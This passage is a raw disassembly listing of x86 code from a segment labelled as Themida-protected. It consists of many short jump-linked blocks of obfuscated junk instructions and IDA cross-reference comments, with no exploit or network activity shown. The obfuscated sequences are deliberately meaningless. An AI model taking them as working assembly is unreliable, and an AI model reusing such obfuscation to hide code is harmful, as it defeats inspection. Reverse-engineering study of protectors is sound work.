sub edx, 0BA770551h
jmp loc_5A1EDB
; ---------------------------------------------------------------------------
loc_59E91F: ; CODE XREF: Themida_:005AE00Cj
mov [esp], ax
mov al, 0D4h
add bl, al
pop ax
push ecx
mov ch, 7Dh
add bl, ch
pop ecx
add bl, 6Bh
jmp loc_59BB2E
; ---------------------------------------------------------------------------
loc_59E937: ; CODE XREF: Themida_:005A027Dj
pop dword ptr [edi+eax*4]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59E93F: ; CODE XREF: Themida_:0059C082j
not ebp
jmp loc_59DF02
; ---------------------------------------------------------------------------
loc_59E946: ; CODE XREF: Themida_:005A09F3j
mov ebp, 1
jmp loc_5ADB64
; ---------------------------------------------------------------------------
loc_59E950: ; CODE XREF: Themida_:005ACA92j
xor edx, edi
pop edi
jmp loc_5A77C9
; ---------------------------------------------------------------------------
loc_59E958: ; CODE XREF: Themida_:0059A692j
pop ebx
push 60Bh
jmp loc_5A4A79
; ---------------------------------------------------------------------------
loc_59E963: ; CODE XREF: Themida_:005A16E7j
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59D658
; ---------------------------------------------------------------------------
loc_59E971: ; CODE XREF: Themida_:0059A54Bj
mov edx, 4
jmp loc_5A8B81
; ---------------------------------------------------------------------------
loc_59E97B: ; CODE XREF: Themida_:00598CDAj
; Themida_:0059BDBFj
sub ebx, 17732A90h
jmp loc_5997EC
; ---------------------------------------------------------------------------
loc_59E986: ; CODE XREF: Themida_:005A82DDj
shr ecx, 2
jmp loc_5A337C
; ---------------------------------------------------------------------------
loc_59E98E: ; CODE XREF: Themida_:005ACE9Fj
mov ecx, 718F2DCAh
xor ecx, 718F2DCEh
sub esi, 113E3F7Eh
add esi, 33D2711h
add esi, ecx
sub esi, 33D2711h
jmp loc_5A9836
; ---------------------------------------------------------------------------
loc_59E9B2: ; CODE XREF: Themida_:005A5373j
pop ebx
sub eax, 672D9D7h
mov ebp, eax
pop eax
mov edi, ebp
pop ebp
neg edi
push eax
push ecx
mov ecx, 19E52942h
xchg edx, ecx
add edx, 1
xchg edx, ecx
or ecx, 34C407DFh
sub ecx, 6DE23AE8h
or ecx, 3AF942FCh
push esi
mov esi, 7D903CF6h
jmp loc_5AE89E
; ---------------------------------------------------------------------------
loc_59E9EE: ; CODE XREF: Themida_:005AB012j
dec esi
jmp loc_5A666F
; ---------------------------------------------------------------------------
loc_59E9F4: ; CODE XREF: Themida_:005AC90Cj
push dword ptr [esp]
jmp loc_59D224
; ---------------------------------------------------------------------------
loc_59E9FC: ; CODE XREF: Themida_:005A3844j
add esp, 4
mov dx, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
jmp loc_5AB6D0
; ---------------------------------------------------------------------------
loc_59EA17: ; CODE XREF: Themida_:005AF6CBj
xchg esi, [esp]
mov esp, [esp]
jmp loc_5ABDC9
; ---------------------------------------------------------------------------
loc_59EA22: ; CODE XREF: Themida_:0059EFD6j
pop esi
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5AFBB2
; ---------------------------------------------------------------------------
loc_59EA31: ; CODE XREF: Themida_:005A4AB4j
xchg eax, [esp]
jmp loc_5A6208
; ---------------------------------------------------------------------------
loc_59EA39: ; CODE XREF: Themida_:005AAA68j
neg ebp
jmp loc_5A39A4
; ---------------------------------------------------------------------------
loc_59EA40: ; CODE XREF: Themida_:0059D54Dj
shl ch, 6
jmp loc_5A4EA5
; ---------------------------------------------------------------------------
loc_59EA48: ; CODE XREF: Themida_:0059A1A1j
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_59B7CE
; ---------------------------------------------------------------------------
loc_59EA57: ; CODE XREF: Themida_:005A9751j
pop edx
sub ecx, 4
jmp loc_5ADEEF
; ---------------------------------------------------------------------------
loc_59EA63: ; CODE XREF: Themida_:005A8A67j
push 5150h
jmp loc_5ADAFB
; ---------------------------------------------------------------------------
loc_59EA6D: ; CODE XREF: Themida_:0059E0CBj
; Themida_:005AF95Dj
add edx, edi
push ebx
jmp loc_5AE4AE
; ---------------------------------------------------------------------------
loc_59EA75: ; CODE XREF: Themida_:0059CE82j
push eax
add dword ptr [esp], 507C7540h
pop ebp
sub ebp, 507C7540h
pop eax
add esi, ebp
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5AFA75
; ---------------------------------------------------------------------------
loc_59EA9E: ; CODE XREF: Themida_:005A4EA8j
jz loc_5A4A47
push edx
mov dl, 9
push ecx
mov ch, 6Ah
sub dl, ch
pop ecx
mov bl, dl
loc_59EAAF: ; CODE XREF: Themida_:005AA7B3j
xor eax, 0E2ABFFF6h
push ecx
jmp loc_59FAB7
; ---------------------------------------------------------------------------
loc_59EABA: ; CODE XREF: Themida_:0059CB90j
shl ebp, 1
jmp loc_59B898
; ---------------------------------------------------------------------------
loc_59EAC1: ; CODE XREF: Themida_:005AE944j
push 2F473607h
pop edx
and edx, 2ED43564h
jmp loc_59FE0E
; ---------------------------------------------------------------------------
loc_59EAD2: ; CODE XREF: Themida_:0059B55Fj
; Themida_:005A6F89j
pop edx
push 7574h
mov [esp], edi
mov edi, 2
add eax, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_59904A
; ---------------------------------------------------------------------------
loc_59EAEE: ; CODE XREF: Themida_:005A702Fj
pop ebx
jmp loc_59A60F
; ---------------------------------------------------------------------------
loc_59EAF4: ; CODE XREF: Themida_:loc_5ACD5Bj
neg ecx
jl loc_5A23A5
jmp loc_5A54FC
; ---------------------------------------------------------------------------
push 1BB0h
loc_59EB06: ; CODE XREF: Themida_:005A9D61j
add ebp, 4
jmp loc_5A5C73
; ---------------------------------------------------------------------------
loc_59EB0E: ; CODE XREF: Themida_:005A308Ej
push esp
pop edi
push ebx
push 1CDBh
jmp loc_5AD59C
; ---------------------------------------------------------------------------
loc_59EB1B: ; DATA XREF: Themida_:00598864o
mov ax, [esp]
push eax
push esp
jmp loc_59A923
; ---------------------------------------------------------------------------
loc_59EB26: ; CODE XREF: Themida_:0059D10Fj
sub ch, 0Ah
add bl, 89h
sub bl, 0ACh
jmp loc_59DB87
; ---------------------------------------------------------------------------
loc_59EB34: ; CODE XREF: Themida_:0059F80Ej
sub al, 0FCh
jmp loc_5AD127
; ---------------------------------------------------------------------------
loc_59EB3B: ; CODE XREF: Themida_:005A9A76j
; Themida_:005AC1E6j
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 3F787776h
push edi
mov edi, 6C973726h
inc edi
neg edi
jmp loc_59A71C
; ---------------------------------------------------------------------------
loc_59EB5A: ; CODE XREF: Themida_:005A0E56j
xchg edx, ebx
push ecx
mov ecx, 7F193FAEh
add ecx, 982D1D94h
or ebx, ecx
pop ecx
add ebx, 26D013ACh
or ebx, 4D5011B6h
jmp loc_5A2A96
; ---------------------------------------------------------------------------
loc_59EB7C: ; CODE XREF: Themida_:0059CF2Fj
mov ebx, 21CE6845h
shr ebx, 1
jp loc_599CA1
sub ebx, 105034D0h
jmp loc_5AA4CA
; ---------------------------------------------------------------------------
mov cl, al
loc_59EB96: ; CODE XREF: Themida_:005A3BDDj
sub edx, 44000004h
jmp loc_5A7B56
; ---------------------------------------------------------------------------
loc_59EBA1: ; CODE XREF: Themida_:005A7338j
mov ecx, [esp]
jmp loc_5ACA5D
; ---------------------------------------------------------------------------
loc_59EBA9: ; CODE XREF: Themida_:005A3623j
not esi
jmp loc_5A72D7
; ---------------------------------------------------------------------------
loc_59EBB0: ; CODE XREF: Themida_:005A21B7j
sub esp, 4
mov [esp], eax
mov eax, esp
push edx
mov edx, 4
jmp loc_5A8144
; ---------------------------------------------------------------------------
loc_59EBC3: ; CODE XREF: Themida_:005AB5A2j
mov ebp, 13AA5C65h
or ebp, 14DA2C6Fh
jmp loc_5A3A65
; ---------------------------------------------------------------------------
loc_59EBD3: ; CODE XREF: Themida_:005AA763j
xor eax, esi
jmp loc_5AB08F
; ---------------------------------------------------------------------------
push 53947h
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push 522Fh
mov [esp], edi
push 7E57h
jmp loc_5ABF94
; ---------------------------------------------------------------------------
loc_59EBFE: ; CODE XREF: Themida_:005A4115j
pop eax
push 74B7h
mov [esp], edx
mov edx, 0D8E1523h
add edx, 0E605C43h
jmp loc_5A9823
; ---------------------------------------------------------------------------
loc_59EC17: ; DATA XREF: Themida_:005987A4o
push dword ptr [edi+2Ch]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59EC1F: ; CODE XREF: Themida_:005A4F60j
push dword ptr [esp]
jmp loc_59D87F
; ---------------------------------------------------------------------------
loc_59EC27: ; CODE XREF: Themida_:005998F1j
; Themida_:0059E344j
mov eax, esp
add eax, 4
jmp loc_5A4AB1
; ---------------------------------------------------------------------------
loc_59EC33: ; CODE XREF: Themida_:005A0CE3j
pop esi
jmp loc_59B949
; ---------------------------------------------------------------------------
loc_59EC39: ; CODE XREF: Themida_:0059EDFFj
xchg edx, ebx
xor ebx, 0A9EBC5BFh
push edi
push ecx
push 86101DEh
jmp loc_59E317
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
pop edx
push ebx
mov ebx, 4
add edx, ebx
mov ebx, [esp]
add esp, 4
push ecx
push 0A1h
mov [esp], edx
mov edx, 6B0C3E83h
push edi
mov edi, 47850DF9h
mov ecx, 2387308Ch
add ecx, edi
pop edi
jmp loc_5A3677
; ---------------------------------------------------------------------------
loc_59EC86: ; CODE XREF: Themida_:005AE4F7j
sub esp, 4
mov [esp], esp
push ebx
mov ebx, 4
add dword ptr [esp+4], 6F405773h
add [esp+4], ebx
jmp loc_5A686C
; ---------------------------------------------------------------------------
loc_59ECA3: ; CODE XREF: Themida_:005AB55Aj
push esi
neg dword ptr [esp]
push dword ptr [esp]
jmp loc_59BD84
; ---------------------------------------------------------------------------
loc_59ECAF: ; CODE XREF: Themida_:005A5FC0j
mov esp, [esp]
mov [esp], ecx
push edx
push ecx
push 283B5E5Ch
pop ecx
not ecx
inc ecx
sub ecx, 5FF631ECh
mov edx, ecx
pop ecx
push edx
not dword ptr [esp]
pop edx
xchg ebx, edx
not ebx
xchg ebx, edx
push esi
mov esi, 172F5424h
sub esi, 0A352ECD7h
add edx, 32B22347h
sub edx, esi
jmp loc_5ADD67
; ---------------------------------------------------------------------------
loc_59ECED: ; CODE XREF: Themida_:0059C5F5j
xor esi, 2B7A639Eh
or ebx, esi
pop esi
xor ebx, 111149DEh
shr ebx, 5
sub esp, 4
mov [esp], ebp
push edx
mov edx, 7EF7391h
mov ebp, edx
pop edx
jmp loc_5A86D7
; ---------------------------------------------------------------------------
loc_59ED13: ; CODE XREF: Themida_:005AA991j
push ebx
not dword ptr [esp]
pop ebx
dec ebx
add ebx, 8BB189D3h
add ecx, 0A4C1C42h
sub ecx, ebx
jmp loc_5A724D
; ---------------------------------------------------------------------------
loc_59ED2C: ; CODE XREF: Themida_:0059C7F8j
pop esi
jmp loc_59B5CE
; ---------------------------------------------------------------------------
loc_59ED32: ; CODE XREF: Themida_:0059B22Aj
jnp loc_5A68B5
jmp loc_5AB83F
; ---------------------------------------------------------------------------
pop ecx
not edi
add edi, 6E20F691h
loc_59ED46: ; CODE XREF: Themida_:005AF5A2j
mov esi, 88D462AAh
jmp loc_5A8942
; ---------------------------------------------------------------------------
loc_59ED50: ; CODE XREF: Themida_:0059978Dj
sub cl, 0C3h
jmp loc_5A6901
; ---------------------------------------------------------------------------
loc_59ED58: ; CODE XREF: Themida_:0059AA32j
; Themida_:0059F30Dj
push 42522063h
pop edx
neg edx
jmp loc_5AE292
; ---------------------------------------------------------------------------
loc_59ED65: ; CODE XREF: Themida_:005A384Aj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A3693
; ---------------------------------------------------------------------------
loc_59ED73: ; CODE XREF: Themida_:0059FEA0j
jmp loc_5AE3C0
; ---------------------------------------------------------------------------
loc_59ED78: ; CODE XREF: Themida_:0059A8D9j
push 1D17h
jmp loc_5A3F55
; ---------------------------------------------------------------------------
loc_59ED82: ; CODE XREF: Themida_:005A4BF7j
dec ecx
push edi
push 0FEC3B2D8h
jmp loc_59E7F1
; ---------------------------------------------------------------------------
loc_59ED8E: ; CODE XREF: Themida_:005A099Cj
sub edx, 95E5EB90h
push eax
jmp loc_5AC911
; ---------------------------------------------------------------------------
loc_59ED9A: ; CODE XREF: Themida_:005ADAB7j
push ebp
push 942h
mov [esp], esi
push ebx
push ecx
mov ecx, esp
jmp loc_59E4FD
; ---------------------------------------------------------------------------
loc_59EDAC: ; CODE XREF: Themida_:005A667Aj
; Themida_:005A8867j
push ebp
pop edi
pop ebp
sub esp, 4
mov [esp], eax
mov eax, 6C565C3Eh
or eax, 22FD5DC5h
push ecx
mov ecx, 468925AAh
add eax, ecx
pop ecx
push ebp
mov ebp, 0
sub ebp, eax
jmp loc_59C70A
; ---------------------------------------------------------------------------
loc_59EDD8: ; CODE XREF: Themida_:005A1D4Aj
pop ebx
jmp loc_5AF4DB
; ---------------------------------------------------------------------------
loc_59EDDE: ; CODE XREF: Themida_:005A6B45j
xchg eax, [esp]
mov esp, [esp]
jmp loc_5A3406
; ---------------------------------------------------------------------------
loc_59EDE9: ; CODE XREF: Themida_:005A785Fj
pop ebx
pop ecx
mov ch, 52h
sub ch, al
pop eax
or ch, 82h
neg ch
sub ch, 0FFh
jmp loc_5A0C5A
; ---------------------------------------------------------------------------
loc_59EDFD: ; CODE XREF: Themida_:0059B006j
not edx
jmp loc_59EC39
; ---------------------------------------------------------------------------
loc_59EE04: ; DATA XREF: Themida_:005988ECo
mov ax, [esp]
push ebx
jmp loc_5AC7BB
; ---------------------------------------------------------------------------
loc_59EE0E: ; CODE XREF: Themida_:005A681Cj
pop ebx
xor dx, di
xor di, dx
jmp loc_5AD802
; ---------------------------------------------------------------------------
loc_59EE1A: ; CODE XREF: Themida_:005A5D29j
jnp loc_5AECE5
sub esi, 8ED0E305h
shr esi, 2
jmp loc_5A23F3
; ---------------------------------------------------------------------------
loc_59EE2E: ; CODE XREF: Themida_:0059B7C9j
; Themida_:005A5F4Dj
push small 277Fh
mov [esp], dx
mov dh, 3Fh
add al, 2
add al, 84h
add al, 0E5h
add al, dh
sub al, 0E5h
sub al, 84h
jmp loc_5ABF77
; ---------------------------------------------------------------------------
loc_59EE49: ; CODE XREF: Themida_:0059E683j
not edi
sub edi, 4BD75080h
add eax, edi
pop edi
jmp loc_5A1CF1
; ---------------------------------------------------------------------------
loc_59EE59: ; CODE XREF: Themida_:005A29AEj
pop edx
sub esp, 4
mov [esp], ebp
push 0DD9h
mov [esp], ecx
jmp loc_5A3F2A
; ---------------------------------------------------------------------------
loc_59EE6D: ; CODE XREF: Themida_:0059A3FBj
mov ebx, esp
add ebx, 4
jmp loc_59FD6B
; ---------------------------------------------------------------------------
loc_59EE7A: ; CODE XREF: Themida_:005A4576j
mov [esp], ebx
mov ebx, 1651700Bh
sub ebx, 58FA0F81h
and ebx, 70EC3A0Dh
neg ebx
jmp loc_5A75E3
; ---------------------------------------------------------------------------
loc_59EE95: ; CODE XREF: Themida_:005A76FAj
sub cx, 0A8D3h
mov dx, cx
pop ecx
xor dx, 481Ch
inc dx
jmp loc_5AC18E
; ---------------------------------------------------------------------------
loc_59EEAA: ; CODE XREF: Themida_:005A2D54j
mov [esp], edx
mov ebx, [esp]
add esp, 4
jmp loc_59A467
; ---------------------------------------------------------------------------
loc_59EEBB: ; CODE XREF: Themida_:005A69E6j
mov [esp], edx
jmp loc_5A7DFB
; ---------------------------------------------------------------------------
loc_59EEC3: ; CODE XREF: Themida_:005AD84Dj
sub cl, 77h
dec cl
xor cl, 0BAh
add dh, cl
pop ecx
add dh, 0Dh
sub ch, dh
pop edx
add ch, 73h
shr ch, 1
jmp loc_5A821B
; ---------------------------------------------------------------------------
loc_59EEDE: ; CODE XREF: Themida_:005A5F36j
pop eax
sub eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5A2049
; ---------------------------------------------------------------------------
loc_59EEED: ; CODE XREF: Themida_:00599E88j
mov [esp], esi
mov esi, esp
push ebx
mov ebx, 4
push 4B49h
mov [esp], edx
mov edx, 6B144750h
add edx, 0EB2E127Bh
sub esi, edx
pop edx
sub esi, 77AF2930h
add esi, ebx
add esi, 77AF2930h
add esi, 564259CBh
pop ebx
sub esp, 4
mov [esp], edx
mov edx, 4
jmp loc_59F699
; ---------------------------------------------------------------------------
loc_59EF33: ; CODE XREF: Themida_:005A2113j
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_59F54B
; ---------------------------------------------------------------------------
loc_59EF46: ; CODE XREF: Themida_:00599536j
; Themida_:005A6705j
pop eax
jmp loc_5A62FA
; ---------------------------------------------------------------------------
loc_59EF4C: ; CODE XREF: Themida_:0059C69Aj
add al, dl
sub al, 0F7h
mov dx, [esp]
jmp loc_5A4BFC
; ---------------------------------------------------------------------------
loc_59EF59: ; CODE XREF: Themida_:005A85BEj
sub ebp, 37747F73h
jmp loc_5A9FDB
; ---------------------------------------------------------------------------
loc_59EF64: ; CODE XREF: Themida_:005A84F4j
jz loc_5ADD54
jmp loc_5A424F
; ---------------------------------------------------------------------------
loc_59EF6F: ; CODE XREF: Themida_:005AE870j
push ecx
jmp loc_59A599
; ---------------------------------------------------------------------------
loc_59EF75: ; CODE XREF: Themida_:005A0638j
xchg ebp, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
jmp loc_5AF837
; ---------------------------------------------------------------------------
loc_59EF87: ; CODE XREF: Themida_:loc_5AD9D7j
xor edi, 0DA57E778h
mov ebx, edi
pop edi
add eax, ebx
pop ebx
mov edi, [esp]
add esp, 4
add esi, 72D36D82h
jmp loc_5A1C88
; ---------------------------------------------------------------------------
loc_59EFA7: ; CODE XREF: Themida_:0059BB40j
mov ebp, esp
push eax
mov eax, 4
push ebx
jmp loc_599095
; ---------------------------------------------------------------------------
loc_59EFB5: ; CODE XREF: Themida_:005AF48Ej
sub esp, 4
mov [esp], ebp
push ecx
mov ecx, 1DD01E2h
push eax
mov eax, ecx
jmp loc_5ACCF9
; ---------------------------------------------------------------------------
loc_59EFCC: ; CODE XREF: Themida_:005AA256j
pop eax
pop esi
push esi
mov esi, 4
add ebp, esi
jmp loc_59EA22
; ---------------------------------------------------------------------------
loc_59EFDB: ; CODE XREF: Themida_:0059A7E9j
jz loc_5A0650
jmp loc_5AADC5
; ---------------------------------------------------------------------------
loc_59EFE6: ; CODE XREF: Themida_:0059B416j
mov [esp], ebp
push 58ADh
mov [esp], edx
push edi
mov edi, 190C7EC4h
jmp loc_5AA83E
; ---------------------------------------------------------------------------
loc_59EFFC: ; CODE XREF: Themida_:00599A9Aj
push 62B3h
mov [esp], edx
jmp loc_5AE978
; ---------------------------------------------------------------------------
loc_59F009: ; CODE XREF: Themida_:005AAA62j
add ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5AD697
; ---------------------------------------------------------------------------
loc_59F016: ; CODE XREF: Themida_:005AA87Aj
pop ecx
add ecx, 4
add ecx, 4
jmp loc_598B4B
; ---------------------------------------------------------------------------
loc_59F025: ; CODE XREF: Themida_:005A2644j
xor [esp], ebx
xor ebx, [esp]
jmp loc_5AA64D
; ---------------------------------------------------------------------------
loc_59F030: ; CODE XREF: Themida_:005AE2E0j
push esp
mov ebx, [esp]
push esi
push esp
pop esi
jmp loc_5AADAC
; ---------------------------------------------------------------------------
loc_59F03C: ; CODE XREF: Themida_:005ADC4Bj
add esi, ebx
pop ebx
sub esi, 4
xchg esi, [esp]
jmp loc_59AAA1
; ---------------------------------------------------------------------------
loc_59F04D: ; CODE XREF: Themida_:005A20C8j
xchg eax, esi
not eax
xchg eax, esi
jmp loc_5A0865
; ---------------------------------------------------------------------------
loc_59F056: ; CODE XREF: Themida_:005ADC31j
push 612Dh
mov [esp], eax
jmp loc_5A4701
; ---------------------------------------------------------------------------
loc_59F063: ; CODE XREF: Themida_:loc_59DF8Ej
dec eax
add eax, 2FB831E0h
jp loc_5A221F
add eax, 6C9912B4h
jo loc_5A1A6C
push ebp
jmp loc_5A1459
; ---------------------------------------------------------------------------
loc_59F080: ; CODE XREF: Themida_:005A2D79j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
add edi, 4
jmp loc_5AC035
; ---------------------------------------------------------------------------
loc_59F0B7: ; CODE XREF: Themida_:0059D96Aj
mov bh, dh
push dword ptr [esp]
pop edx
add esp, 4
push small 5AEFh
mov [esp], cx
jmp loc_5AD5F7
; ---------------------------------------------------------------------------
loc_59F0D0: ; CODE XREF: Themida_:005A0A83j
mov esp, [esp]
mov [esp], ecx
jmp loc_5A43EB
; ---------------------------------------------------------------------------
push 47Bh
mov [esp], esi
sub esp, 4
mov [esp], eax
jmp loc_59D251
; ---------------------------------------------------------------------------
loc_59F0EE: ; CODE XREF: Themida_:0059F291j
; Themida_:005A7169j
add edx, 68964CE5h
jmp loc_5ADB42
; ---------------------------------------------------------------------------
loc_59F0F9: ; CODE XREF: Themida_:005AF80Fj
jmp loc_5A2F7F
; ---------------------------------------------------------------------------
loc_59F0FE: ; CODE XREF: Themida_:005AB0DBj
push ecx
jmp loc_5AAE02
; ---------------------------------------------------------------------------
loc_59F104: ; CODE XREF: Themida_:005ABB7Aj
pop edx
pop edx
jmp loc_5ACB8F
; ---------------------------------------------------------------------------
loc_59F10B: ; CODE XREF: Themida_:00598DA8j
; Themida_:005A6E30j
mov ch, ah
pop eax
jmp loc_59C6BD
; ---------------------------------------------------------------------------
loc_59F113: ; CODE XREF: Themida_:0059FFA7j
sub ebp, 56D1F3E0h
sub ecx, ebp
pop ebp
jmp loc_59DDA8
; ---------------------------------------------------------------------------
loc_59F121: ; CODE XREF: Themida_:005AB2C5j
xchg edx, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59F130: ; CODE XREF: Themida_:005A003Ej
pop edi
add esp, 4
shr esi, 8
sub esp, 4
mov [esp], ebp
mov ebp, 1F4D4B73h
or esi, ebp
jmp loc_5A9021
; ---------------------------------------------------------------------------
loc_59F14F: ; CODE XREF: Themida_:005A12D5j
and ecx, 1E5131A5h
jp loc_5AADE9
xor ecx, 39BE1492h
sub ecx, 0FB73AB39h
mov ebp, ecx
mov ecx, [esp]
add esp, 4
and ebp, 75621551h
push ecx
mov ecx, 1
sub ebp, 5BEC5527h
add ebp, ecx
add ebp, 5BEC5527h
pop ecx
jmp loc_5ADA6C
; ---------------------------------------------------------------------------
loc_59F18F: ; CODE XREF: Themida_:0059E80Ej
add bh, 41h
sub bh, ch
push edx
mov dh, 0B2h
dec dh
neg dh
shr dh, 1
add dh, 1Ah
jmp loc_5A063D
; ---------------------------------------------------------------------------
loc_59F1A5: ; CODE XREF: Themida_:005A63AFj
mov al, 32h
jmp loc_5AE05D
; ---------------------------------------------------------------------------
loc_59F1AC: ; CODE XREF: Themida_:0059DB8Fj
sub cl, 3Ch
add bl, cl
pop ecx
push 5E30h
mov [esp], edx
mov dl, 78h
inc dl
add dl, 10h
sub bl, dl
pop edx
pop ecx
jmp loc_5AA86F
; ---------------------------------------------------------------------------
loc_59F1CA: ; CODE XREF: Themida_:005A48CEj
neg ebp
jle loc_59FA4A
jmp loc_5AE273
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ebp
push ebx
mov ebx, esp
push ebp
loc_59F1DF: ; CODE XREF: Themida_:0059D75Ej
jmp loc_5AF2E4
; ---------------------------------------------------------------------------
loc_59F1E4: ; CODE XREF: Themida_:005AA77Cj
mov ebp, 5F80FC0h
push 6E0A709Ah
jmp loc_5A48E8
; ---------------------------------------------------------------------------
loc_59F1F3: ; CODE XREF: Themida_:loc_59AFFDj
neg ecx
jg loc_5AAB49
dec ecx
sub ecx, 0FF6EF760h
add ecx, edi
add [ecx], edx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5AA1D7
; ---------------------------------------------------------------------------
loc_59F215: ; CODE XREF: Themida_:005A9A3Aj
mov dh, cl
jmp loc_59C4FD
; ---------------------------------------------------------------------------
loc_59F21C: ; CODE XREF: Themida_:0059BE99j
mov ecx, 4
add ebx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add ebx, 4
jmp loc_5A1F0A
; ---------------------------------------------------------------------------
loc_59F235: ; CODE XREF: Themida_:loc_59D621j
; Themida_:005A0DBCj
sub ecx, 37DB4994h
jmp loc_5AE9A5
; ---------------------------------------------------------------------------
loc_59F240: ; CODE XREF: Themida_:005ABD68j
push ecx
jmp loc_5A7740
; ---------------------------------------------------------------------------
loc_59F246: ; CODE XREF: Themida_:0059AC36j
xor ebx, 0E701C604h
mov eax, ebx
pop ebx
add edx, 161917FEh
sub edx, eax
sub edx, 161917FEh
pop eax
push esi
jmp loc_5ADD40
; ---------------------------------------------------------------------------
loc_59F264: ; CODE XREF: Themida_:005A31FEj
push eax
mov eax, esp
add eax, 4
push ecx
jmp loc_5AD0E3
; ---------------------------------------------------------------------------
loc_59F272: ; CODE XREF: Themida_:005A635Ej
push dword ptr [esp]
pop edi
add esp, 4
pop dword ptr [esp]
jmp loc_5A1755
; ---------------------------------------------------------------------------
loc_59F281: ; CODE XREF: Themida_:005AB8CEj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59F286: ; CODE XREF: Themida_:005ACC0Aj
shr eax, 5
shr eax, 2
xor eax, 618B4EECh
jmp loc_59F0EE
; ---------------------------------------------------------------------------
loc_59F296: ; CODE XREF: Themida_:005AA6F3j
push 0D5Ah
mov [esp], esi
jmp loc_5A903E
; ---------------------------------------------------------------------------
loc_59F2A3: ; CODE XREF: Themida_:0059BC3Fj
mov [esp], esi
jmp loc_59D0CE
; ---------------------------------------------------------------------------
loc_59F2AB: ; CODE XREF: Themida_:005A8EB2j
pop ebp
add ecx, 4
jmp loc_5ADE21
; ---------------------------------------------------------------------------
loc_59F2B4: ; CODE XREF: Themida_:005AE3BBj
mov [esp], edx
push ebx
mov ebx, 265942E6h
shl ebx, 5
push ebx
inc dword ptr [esp]
pop ebx
shr ebx, 7
jz loc_5AC2B5
push esi
mov esi, 0D6CCF76h
add ebx, esi
jmp loc_59BE7A
; ---------------------------------------------------------------------------
loc_59F2DB: ; CODE XREF: Themida_:0059ACE3j
mov ebp, esp
add ebp, 4
push eax
jmp loc_59C48D
; ---------------------------------------------------------------------------
loc_59F2E9: ; CODE XREF: Themida_:0059CDD4j
sub cl, 0EBh
sub ah, cl
pop ecx
sub bl, 80h
add bl, ah
add bl, 80h
pop eax
add bl, al
jmp loc_5AF660
; ---------------------------------------------------------------------------
loc_59F2FF: ; CODE XREF: Themida_:loc_59B00Bj
; Themida_:005A6AC9j
sub eax, 0C85A3Bh
jz loc_5AC8C5
shr eax, 4
jmp loc_59ED58
; ---------------------------------------------------------------------------
loc_59F312: ; CODE XREF: Themida_:005A528Fj
mov ebp, 62470EB6h
inc ebp
or ebp, 7F325EABh
neg ebp
neg ebp
xor ebp, 73C45B78h
sub edi, ebp
jmp loc_5A790B
; ---------------------------------------------------------------------------
loc_59F32F: ; CODE XREF: Themida_:005A2044j
; Themida_:005ACCE1j
mov esp, [esp]
shr eax, 0Eh
jmp loc_5A9686
; ---------------------------------------------------------------------------
loc_59F33A: ; CODE XREF: Themida_:loc_59993Fj
push 1D1h
mov [esp], ebx
push 2B7Ah
jmp loc_5A31F6
; ---------------------------------------------------------------------------
loc_59F34C: ; CODE XREF: Themida_:005AB58Bj
mov edi, 78DD0C19h
or eax, edi
push dword ptr [esp]
pop edi
add esp, 4
push edi
mov edi, 8A00AF7h
and eax, edi
pop edi
push ecx
mov ecx, 0F77FF74Fh
jmp loc_59E5C2
; ---------------------------------------------------------------------------
loc_59F36E: ; CODE XREF: Themida_:005AC63Cj
pop eax
mov edi, edx
pop edx
push edx
jmp loc_5A5279
; ---------------------------------------------------------------------------
loc_59F378: ; CODE XREF: Themida_:005A2AD7j
mov [esp], ecx
push edi
mov edi, esp
push ecx
mov ecx, 51DA6929h
add ecx, 7D0B19E1h
shl ecx, 7
or ecx, 3B2F3876h
shr ecx, 1
neg ecx
jmp loc_5A20B0
; ---------------------------------------------------------------------------
loc_59F39C: ; CODE XREF: Themida_:005A18D7j
push ebp
push 580248E3h
push dword ptr [esp]
pop ebp
add esp, 4
add dword ptr [esp+8], 1EA360DFh
sub [esp+8], ebp
jmp loc_59DF0D
; ---------------------------------------------------------------------------
loc_59F3BA: ; CODE XREF: Themida_:0059C67Fj
pop edi
xchg ebx, [esp]
pop esp
sub [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59F3C9: ; CODE XREF: Themida_:005A0215j
mov ch, 2Ah
jmp loc_5A0B3D
; ---------------------------------------------------------------------------
loc_59F3D0: ; CODE XREF: Themida_:0059D32Cj
pop eax
add edx, ebp
add edx, 62937519h
mov ebp, [esp]
add esp, 4
push eax
mov eax, 4
sub edx, eax
pop eax
xor edx, [esp]
jmp loc_59B2A8
; ---------------------------------------------------------------------------
loc_59F3F3: ; CODE XREF: Themida_:005A5144j
; Themida_:005A93A8j
sub esp, 4
mov [esp], edx
not dword ptr [esp]
pop edx
sub esp, 4
jmp loc_59CED3
; ---------------------------------------------------------------------------
loc_59F408: ; CODE XREF: Themida_:005AFB0Aj
pop edi
add eax, ecx
jmp loc_59CA87
; ---------------------------------------------------------------------------
loc_59F410: ; CODE XREF: Themida_:005A10F7j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
